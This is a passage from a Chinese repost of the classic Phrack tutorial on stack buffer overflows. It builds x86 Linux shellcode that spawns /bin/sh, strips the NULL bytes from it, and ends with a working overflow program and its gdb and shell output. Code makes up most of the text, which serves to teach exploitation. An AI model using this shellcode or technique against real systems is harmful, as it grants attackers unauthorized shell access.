| |
缓冲区溢出的原理和实践(Phrack) |
|
时间: 2006-11-10 来自:PConline论坛 |
 |
|
这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题. 我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们 必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数 据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb 来取得二进制代码.
shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------
------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) . . . ------------------------------------------------------------------------------
testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() { int *ret;
ret = (int *)&ret + 2; (*ret) = (int)shellcode;
} ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------
成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出. 那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为 止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节, 同时把代码精简一点.
Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------
Our improved code:
shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------
And our new test program:
testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() { int *ret;
ret = (int *)&ret + 2; (*ret) = (int)shellcode;
} ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------
破解实战 ~~~~~~~~~~ 现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被 溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:
overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string); } ------------------------------------------------------------------------------
------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------
|
|
|
|
|
|
|
|